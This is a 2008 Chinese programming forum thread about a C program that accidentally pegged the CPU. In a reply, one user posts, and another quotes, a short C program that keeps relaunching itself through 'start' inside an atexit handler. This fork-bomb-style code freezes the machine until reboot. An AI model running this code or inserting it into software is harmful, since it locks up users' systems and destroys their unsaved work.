无意中编出了一个变态程序
[size=5] 用C语言编程错误,生成了这样一个程序 打开后CPU高达80,吓我一跳。结束进程就没事了。什么原因[/size][tk13]
我日 - -缺乏冷静的程序员不是真正的程序员…… [em05] 看得我眼晕,好不容易关了 我运行了两次,重启了两次
再也没有勇气去运行第三次了 要制造这种程序很简单,要是偶写,编译后不到20K的exe
运行后保证你的机子动弹不得
[quote][img]http://yzfy.byethost18.com/list.php?pw=aq-q-0-1[/img][/quote][color=white] 能给源代码吗? 有一种守护进程,通过互拆,很难关的。好像也是while(1) 运行一次 重启一次 这个是操作系统的程序!
网上随便搜索就可以找到源代码了 无聊 怎么没看到代码光听见讲 [quote][bo][un]かわい[/un] 在 2008-6-22 21:33 的发言:[/bo]
要制造这种程序很简单,要是偶写,编译后不到20K的exe
运行后保证你的机子动弹不得
[/quote]
能发段代码让我们开开眼界吗? 试试这个,请在运行前保存所有重要的工作。你可能需要重启才能解决问题
[code]
#include <stdio.h>
#include <stdlib.h>
char p[1024];
void f(){
system(p);
f();
}
int main(int argc, char *argv[])
{
sprintf(p,"start \"%s\"",argv[0]);
atexit(f);
}
[/code] [tk13] [quote][bo][un]smltq[/un] 在 2008-6-23 16:10 的发言:[/bo]
能发段代码让我们开开眼界吗? [/quote]
我也想开开眼界 我也来一个,代码太垃圾,没好意思发
[attach]35709[/attach] [quote][bo][un]leeco[/un] 在 2008-6-23 16:34 的发言:[/bo]
试试这个,请在运行前保存所有重要的工作。你可能需要重启才能解决问题
#include <stdio.h>
#include <stdlib.h>
char p[1024];
void f(){
system(p);
f();
}
int main(int argc, char *argv[])
{
sprintf(p,"start \"%s\"",argv[0]);
atexit(f);
}
[/quote]
无限打开 这个程序
编译后5K ,这个用的 start 命令 。
[[it] 本帖最后由 cosdos 于 2008-6-23 23:19 编辑 [/it]]
页:
[1]
2
